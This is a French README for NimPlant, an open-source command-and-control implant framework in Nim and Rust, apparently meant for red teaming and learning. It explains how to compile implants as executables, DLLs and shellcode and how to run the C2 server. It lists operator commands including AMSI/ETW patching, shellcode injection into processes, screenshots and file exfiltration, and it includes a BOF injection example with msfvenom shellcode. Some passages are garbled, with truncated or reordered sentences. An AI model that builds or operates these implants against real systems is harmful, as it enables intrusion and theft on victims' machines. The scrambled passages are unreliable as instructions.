
Un implant C2 de premier stade léger écrit en Nim (et Rust).
Par Cas van Cooten (@chvancooten), avec un grand merci à des personnes formidables :
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), et bien d'autres !
Si NimPlant vous a été utile et/ou que vous appréciez mon travail en général, votre soutien est le bienvenu :
inline-execute, shinject (en utilisant l'invocation dynamique), powershell dans un runspace personnalisé, ou execute-assembly dans un threadUne version moderne de Python3 est nécessaire pour exécuter Nimplant.
requirements.txt à partir du dossier serveur (pip3 install -r server/requirements.txt).choosenim est recommandée, car apt n'a pas toujours la dernière version).cd client; nimble install -d).mingw pour votre plateforme (brew install mingw-w64 ou apt install mingw-w64).rustup est recommandée).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml comme indiqué dans Cargo.toml et utilisez la chaîne de compilation nightly (rustup default nightly).Remarque : Même si vous compilez sous Windows, la cible
x86_64-pc-windows-gnuest recommandée. Elle produit des binaires légèrement plus volumineux, mais semble plus stable lorsque le shellcode est généré à partir de la DLL résultante. Vous pouvez modifierrust-toolchain.tomlpour changer la cible enx86_64-pc-windows-msvc, mais le shellcode généré peut ne pas fonctionner correctement dans tous les cas.
Avant d'utiliser NimPlant, créez le fichier de configuration config.toml. Il est recommandé de copier config.toml.example et de travailler à partir de celui-ci.
Un aperçu des paramètres est fourni ci-dessous.
Une fois la configuration à votre goût, vous pouvez générer des binaires NimPlant à déployer sur votre cible. Actuellement, NimPlant prend en charge les binaires .exe, .dll et .bin pour respectivement les exécutables (auto-supprimants), les bibliothèques et le shellcode indépendant de la position (via sRDI). Pour générer, exécutez python nimplant.py compile suivi de vos binaires préférés (exe, exe-selfdelete, dll, raw ou all) et, éventuellement, du type d'implant (nim, rust, nim-debug ou rust-debug - compilera Nim par défaut). Les fichiers seront écrits respectivement dans client/bin/ ou .
Vous pouvez passer l'argument rotatekey pour générer et utiliser une nouvelle clé XOR lors de la compilation.
Remarques :
NimPlant ne prend en charge que x64 pour l'instant !
Le point d'entrée pour les fichiers DLL est Update, qui est déclenché par DllMain pour tous les points d'entrée. Cela signifie que vous pouvez utiliser par exemple rundll32 .\NimPlant.dll,Update pour déclencher, ou utiliser votre LOLBIN de choix pour le sideload (peut nécessiter quelques modifications dans client/NimPlant.nim ou client-rs/src/lib.rs)```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Compilation avec Docker
L'utilisation de Docker est simple et évite les problèmes de dépendances, car toutes les dépendances de construction et d'exécution nécessaires sont préinstallées dans le conteneur.
Pour utiliser Docker, vous pouvez utiliser le conteneur public `chvancooten/nimplant` depuis [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (construit via CI/CD), ou construire le `Dockerfile` à partir des sources.
> Pour construire à partir des sources, exécutez la commande suivante depuis le répertoire principal :
>
> ```bash
> docker build . -t nimplant
> ```
Cela construira un conteneur étiqueté `nimplant:latest`. Remarque : cela peut prendre un certain temps et produire un conteneur de taille conséquente en raison des dépendances de développement !
Une fois cela fait, vous pouvez exécuter le conteneur depuis la ligne de commande pour compiler vos artefacts.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Note : Ceci est une commande d'exemple, assurez-vous d'ajuster les arguments comme les volumes montés à votre situation.
Une fois vos binaires prêts, vous pouvez lancer votre serveur NimPlant ! Si vous avez compilé localement, aucune configuration supplémentaire n'est nécessaire car il lit le même fichier config.toml. Pour lancer un serveur, exécutez simplement python nimplant.py server (avec les privilèges sudo si vous êtes sous Linux). Vous pouvez utiliser la console une fois qu'un Nimplant se connecte, ou accéder à l'interface web à http://localhost:31337 (par défaut).
Notes :
Si vous exécutez votre serveur NimPlant depuis une machine différente de celle où les binaires sont compilés, assurez-vous que config.toml et .xorkey correspondent. Sinon, NimPlant ne pourra pas se connecter.
Le frontend web et l'API ne prennent pas en charge l'authentification, alors ne PAS exposer le port du frontend à des réseaux non fiables sans un proxy inverse sécurisé !
Si NimPlant ne peut pas se connecter à un serveur ou perd la connexion, il réessayera 5 fois avec un délai exponentiel avant de tenter une ré-enregistrement. S'il échoue à s'enregistrer 5 fois de plus (même logique de délai), il s'auto-détruira. Le délai triple le temps de pause à chaque tentative échouée. Par exemple, si le temps de pause est de 10 secondes, il attendra 10, puis 30 (3^1 * 10), puis 90 (3^2 * 10), puis 270 (3^3 * 10), puis 810 secondes avant d'abandonner (ces paramètres sont codés en dur mais peuvent être modifiés dans client/NimPlant.nim).
Les journaux sont stockés dans le répertoire server/logs. Chaque instance de serveur crée un nouveau dossier de logs, et les logs sont répartis par session console/nimplant. Les téléchargements et les envois (y compris les fichiers téléversés via l'interface web) sont stockés respectivement dans les répertoires server/uploads et server/downloads.
Les détails du Nimplant et du serveur sont stockés dans une base de données SQLite à server/nimplant.db. Ces données sont également utilisées pour récupérer les Nimplants après un redémarrage du serveur.
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Cela démarrera à la fois l'API C2 et le serveur web de gestion (dans l'exemple ci-dessus à `http://127.0.0.1:31337`) et l'écouteur NimPlant (dans l'exemple ci-dessus à `https://0.0.0.0:443`). Une fois qu'un NimPlant se connecte, vous pouvez utiliser à la fois l'interface web et la console pour envoyer des commandes à NimPlant.
### Démarrer le serveur avec Docker
Le même conteneur `chvancooten/nimplant` utilisé pour la compilation peut également être utilisé pour exécuter le serveur NimPlant. Pour que NimPlant reconnaisse le serveur, les fichiers `config.toml` et `.xorkey` doivent correspondre à la machine où NimPlant a été compilé (c'est automatiquement correct si vous avez utilisé le même conteneur Docker pour la compilation). De plus, le fichier `config.toml` doit être configuré correctement pour Docker, notamment l'adresse IP du serveur de gestion doit être définie sur `0.0.0.0` pour y accéder via Docker (assurez-vous de ne l'exposer que sur l'interface locale de votre hôte).
Vous pouvez lancer un serveur NimPlant avec la commande exemple ci-dessous :```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Remarque : Ceci est un exemple de commande, assurez-vous d'ajuster les arguments tels que les volumes montés à votre situation.
L'utilisation de Docker vous permet de configurer facilement des configurations plus complexes. Par exemple, le répertoire docker-example contient un fichier docker-compose.yml qui montre comment exposer NimPlant derrière un redirecteur Nginx utilisant HTTPS et une page d'accueil factice.
Les commandes disponibles sont les suivantes. Vous pouvez obtenir une aide détaillée pour n'importe quelle commande en tapant help [command]. Certaines commandes indiquées par (GUI) peuvent être configurées graphiquement lorsque vous utilisez l'interface web, cela peut être fait en appelant la commande sans aucun argument.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### Utilisation de Beacon Object Files (BOFs)
**REMARQUE : Les BOF sont volatils par nature, et l'exécution d'un BOF défectueux ou le passage d'arguments ou de types incorrects peut planter votre session NimPlant ! Assurez-vous de tester les BOF avant de les déployer !**
NimPlant prend en charge le chargement en mémoire des BOF grâce aux excellents projets [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) et [Coffee](https://github.com/hakaioffsec/coffee) (Rust). L'exécution d'un BOF nécessite un fichier objet BOF compilé local (généralement nommé comme `bofname.x64.o`), un point d'entrée (généralement `go`), et une liste d'arguments avec leurs types respectifs. Les arguments sont passés sous forme de paire `arg argtype` séparée par un espace.
Les arguments sont donnés conformément au format "Zzsib", ils peuvent donc être soit `string` (alias : `z`), `wstring` (ou `Z`), `integer` (alias : `int` ou `i`), `short` (`s`), soit `binary` (`bin` ou `b`). Les arguments binaires peuvent être une chaîne binaire brute ou encodée en base64, cette dernière est recommandée pour éviter les mauvais caractères.
Quelques exemples d'utilisation (en utilisant les magnifiques BOF de TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] comme exemple) sont donnés ci-dessous. Notez que `inline-execute` (sans arguments) peut être utilisé pour configurer la commande graphiquement dans l'interface graphique.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
Par défaut, NimPlant prend en charge les notifications Push via le hook notify_user() défini dans server/util/notify.py. Par défaut, il implémente une simple notification Telegram qui nécessite que les variables d'environnement TELEGRAM_CHAT_ID et TELEGRAM_BOT_TOKEN soient définies avant de se déclencher. Bien entendu, le code peut être facilement étendu avec sa propre fonctionnalité de notification Push. Le hook notify_user() est appelé lorsqu'un nouveau NimPlant se connecte et reçoit un objet avec les détails du NimPlant, qui peuvent ensuite être poussés selon les besoins.
En tant qu'utilisateur normal, vous ne devriez pas avoir à modifier ou reconstruire l'interface utilisateur fournie avec Nimplant. Cependant, si vous souhaitez apporter des modifications, installez NodeJS et exécutez npm install dans le répertoire ui. Exécutez ensuite ui/build-ui.py. Cela se chargera de récupérer les paquets, de compiler le frontend Next.JS et de placer les fichiers au bon endroit pour que le serveur Nimplant puisse les utiliser.
NimPlant a été développé comme un projet d'apprentissage et publié au public à des fins de transparence et d'éducation. L'évasion des antivirus ou des EDR n'est pas un objectif pour l'implant(s) prêt à l'emploi. En grande partie, NimPlant ne fait aucun effort pour cacher ses intentions. De plus, des protections ont été mises en place pour empêcher les abus. En d'autres termes, n'utilisez PAS NimPlant en l'état dans des engagements de production sans une analyse approfondie du code source et des modifications ! Rappelez-vous également que, comme pour toute framework C2, l'empreinte OPSEC de l'exécution de certaines commandes doit être prise en compte avant le déploiement. NimPlant peut être compilé sans commandes risquées pour l'OPSEC en définissant riskyMode sur false dans config.toml.
Il existe de nombreuses raisons pour lesquelles Nimplant peut échouer à compiler ou à s'exécuter. Si vous rencontrez des problèmes, veuillez essayer les solutions suivantes (dans l'ordre) :
server/logs pour toute erreurnim-debug ou rust-debug pour compiler avec la console et les messages de débogage (.exe uniquement) afin de voir si des messages d'erreur sont renvoyés| Catégorie | Paramètre | Description |
|---|
| server | ip | L'adresse IP sur laquelle le serveur web C2 (y compris l'API) écoutera. Il est recommandé d'utiliser 127.0.0.1, n'utilisez 0.0.0.0 que si vous avez mis en place des règles de pare-feu ou de routage appropriées pour protéger le C2. |
| server | port | Le port sur lequel le serveur web C2 (y compris l'API) écoutera. |
| listener | type | Le type d'écouteur, soit HTTP ou HTTPS. Les options HTTPS sont configurées ci-dessous. |
| listener | sslCertPath | Le chemin local vers un fichier de certificat HTTPS (par exemple demandé via LetsEncrypt CertBot ou auto-signé). Ignoré lorsque le type d'écouteur est 'HTTP'. |
| listener | sslKeyPath | Le chemin local vers le fichier de clé privée du certificat HTTPS correspondant. Le mot de passe sera demandé au lancement du serveur NimPlant s'il est défini. Ignoré lorsque le type d'écouteur est 'HTTP'. |
| listener | hostname | Le nom d'hôte de l'écouteur. S'il n'est pas vide (""), NimPlant utilisera ce nom d'hôte pour se connecter. Assurez-vous que le trafic est correctement routé de cet hôte vers le port d'écouteur NimPlant. |
| listener | ip | L'adresse IP de l'écouteur. Requise même si 'hostname' est défini, car elle est utilisée par le serveur pour s'enregistrer sur cette IP. |
| listener | port | Le port de l'écouteur. Requis même si 'hostname' est défini, car il est utilisé par le serveur pour s'enregistrer sur ce port. |
| listener | registerPath | Le chemin URI que les nouveaux NimPlants utiliseront pour s'enregistrer. |
| listener | taskPath | Le chemin URI à partir duquel les NimPlants obtiendront leurs tâches. |
| listener | resultPath | Le chemin URI auquel les NimPlants soumettront leurs résultats. |
| nimplant | riskyMode | Compiler NimPlant avec le support des commandes risquées. Discrétion de l'opérateur conseillée. La désactivation supprimera le support de execute-assembly, powershell, shell et shinject. |
| nimplant | sleepMask | Indique s'il faut utiliser le masque de sommeil Ekko au lieu des appels de sommeil réguliers pour les NimPlants. Ne fonctionne qu'avec les exécutables réguliers pour l'instant ! |
| nimplant | sleepTime | Le temps de sommeil par défaut en secondes pour les nouveaux NimPlants. |
| nimplant | sleepJitter | La gigue par défaut en pourcentage pour les nouveaux NimPlants. |
| nimplant | killDate | La date de fin de vie pour les NimPlants (format : aaaa-MM-jj). Les NimPlants se fermeront si cette date est dépassée. |
| nimplant | userAgent | Le user-agent utilisé par les NimPlants. Le serveur l'utilise également pour valider le trafic NimPlant, il est donc recommandé de choisir un UA discret mais pas trop répandu. |
client-rs/bin/ A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Les logs, les fichiers téléchargés/téléversés et la base de données peuvent être nettoyés en exécutant nimplant.py avec le flag cleanup. Attention : cela effacera tout, alors assurez-vous de sauvegarder ce dont vous avez besoin d'abord !```
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)